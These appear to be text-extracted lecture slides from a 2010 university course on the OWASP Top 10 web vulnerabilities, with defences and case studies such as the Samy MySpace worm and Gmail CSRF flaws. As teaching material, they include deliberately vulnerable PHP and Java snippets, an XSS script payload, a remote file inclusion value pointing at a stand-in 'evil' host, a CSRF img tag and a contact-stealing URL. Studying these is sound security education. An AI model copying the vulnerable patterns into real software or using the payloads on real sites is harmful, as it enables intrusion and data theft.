CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities Thomas Moyer Spring 2010 1
Web Applications What has changed with web applications? Traditional applications fetched new content by fetching full pages with new content AJAX applications fetch new content in the background, only receiving content that has changed First use of AJAX technologies (XMLHttpRequest) First supported by Internet Explorer 5.0 Outlook Web Access (circa 2000) Now a standard part of any major browser 2
OWASP Background Open Web Application Security Project Develop tools and documentation for web application security ESAPI and WebScarab are two popular tools Development, Testing, and Review documents that guide developers in building, testing, and maintaining secure web application code One project is the Top 10 list that lists the top ten most popular web application security vulnerabilities 3
A1- Cross Site Scripting (XSS) Vulnerability: Attacker causes code to execute in the browser Reflected - Input is reflected in the output without filtering Stored - Input is stored in files, databases, etc. and used to create pages DOM-based - Manipulates JavaScript code/variables instead of HTML elements Use strong input validation routines Encode untrusted inputs that must be reflected in the output Don t rely on blacklisting tags 4
A1- Cross Site Scripting (XSS) Vulnerability: Attacker causes code to execute in the browser Reflected - Input is reflected in the output without filtering Example: echo $_POST[ username ]; Stored - Input is stored in files, databases, etc. and used to create pages where DOM-based - Manipulates JavaScript code/variables instead of HTML elements $_POST[ username ] = <script type= application/ javascript >alert( XSS );</script> Use strong input validation routines Encode untrusted inputs that must be reflected in the output Don t rely on blacklisting tags 4
MySpace Worm MySpace social networking site Infected your profile Added samy as one of your friends Added, but most of all samy is my hero. to your profile MySpace filters input... This was carefully crafted to evade the filters 5
A2 - Injection Flaws Vulnerability: Unfiltered user input is used by backend interpreters (SQL, LDAP, OS, etc.) Input validation/encoding Use safe APIs Vague error messages 6
A2 - Injection Flaws Vulnerability: Unfiltered user input is used by backend interpreters (SQL, LDAP, OS, etc.) Input validation/encoding Use safe APIs Vague error messages *http://xkcd.com/327/ 6
A3 - Malicious File Execution Vulnerability: Using user input to select files for execution Use indirect object references Strong validation of input Isolate applications Use taint tracking if language supports it 7
A3 - Malicious File Execution Vulnerability: Using user input to select files for execution Example: require($_post[ style ]..php ); Use indirect object references Strong validation of input where $_POST[ style ] = http://evil/exploit? Isolate applications Use taint tracking if language supports it 7
A4 - Insecure Direct Object Reference Vulnerability: Exposing backend structure to clients, e.g. using bank account number as primary key Use strong access control checking Use an accept known good approach when checking client data Avoid using direct object references when possible 8
A4 - Insecure Direct Object Reference Vulnerability: Exposing backend structure to clients, e.g. using bank account number as primary key Use strong access control checking Example: int cartid = Integer.parseInt( request.getparameter( cartid ) ); String query = SELECT * FROM table WHERE cartid= + cartid; Use an accept known good approach when checking client data Avoid using direct object references when possible 8
A5 - Cross Site Request Forgery (CSRF) Vulnerability: Cause actions to occur on a site based solely on the fact that login credentials are submitted with all requests. Protect against XSS Use nonces in all requests Re-authenticate for sensitive transactions Don t use HTTP GET to process sensitive transactions 9
A5 - Cross Site Request Forgery (CSRF) Vulnerability: Cause actions to occur on a site based solely on the fact that login credentials are submitted with all requests. Example: Attacker puts <img src= http:// www.example.com/logout.php /> in forum post on Protect against XSS Use nonces in all requests another site. Re-authenticate for sensitive transactions Don t use HTTP GET to process sensitive transactions 9
Gmail and CSRF Gmail relies heavily on JavaScript Even with protections, Google has been vulnerable to CSRF on multiple occasions Contact stealing http://docs.google.com/data/contacts?out=js&show=all &psort=affinity&callback=google&max=99999 Gmail password changing Change password request can be done using HTTP GET 10
Facebook Worm Users write on each other s wall Any user can view your wall, i.e. not private messages If the user clicks a specially crafted message on the wall, they are sent to another site This site has a carefully crafted URL that causes this same message to be posted on the logged in user s wall This carefully crafted URL is the basis of the CSRF attack 11
A6 - Information Leakage and Improper Error Handling Vulnerability: Application reveals details about internal configuration via error messages. Disable error reporting on production system Consistent exception handling If error reporting is required, ensure that it is consistent and has no backend details 12
WordPress SQL Information WordPress is a blog application that allows users to create a blog site with ease URL used: http:/ / localhost/ wordpress/ index.php?paged=-1 Errors generated by WordPress: WordPress database error: [Erreur de syntaxe pr?s de '-20, 10'? la ligne 1] Invalid Argument SELECT DISTINCT * FROM w p_posts WHERE 1=1 AND post_date_gmt <= '2006-06-29 12:46:59' AND (post_status = "publish") AND post_status!= "attachment" GROUP BY wp_posts.id ORDER BY post_date DESC LIMIT -20, 10 End user sees this error in the browser Can now see what table names are and the structure of the SQL query (leading to potential SQL injection attacks) 13
A7 - Broken Authentication and Session Management Vulnerability: Broken authentication allows attackers to steal credentials or tokens Don t roll your own session management Don t rely on spoofable information to ID users Don t rely heavily on custom cookies Use SSL to protect authenticated portions of system 14
A8 - Insecure Cryptographic Storage Vulnerability: Using no encryption, weak encryption, or home-grown encryption, or using hard-coded keys Use strong, vetted cryptographic algorithms Protect private keys Protect backend storage, such as DB (i.e. no direct client access to backend storage systems) 15
A9 - Insecure Communications Vulnerability: Sending sensitive information in the clear Enable SSL between client and server Enable SSL between server and other backend systems Isolate backend systems from public network (if possible) 16
Gmail to use SSL Gmail recently announced a switch to SSL by deafult Before, only users surfing to https://www.google.com/mail Originally, SSL was only used for login Attacker can steal session identifiers and access Gmail account by providing the right cookies Persisted until the user logged out 17
A10 - Failure to Restrict URL Access Vulnerability: Attacker guesses URLs that lead to functionality they are not authorized to access Strong access control mechanism/policy Assume user is able to guess all URLs, i.e. don t rely on security through obscurity Filter requests for files that your system shouldn t serve 18
Lessons User input is inherently untrusted Input validation/filtering is hugely important It takes nothing more than a browser to attack a web application Browsers are installed on just about every computer Worry about both the client and the server More code is available to the attacker than in traditional web applications 19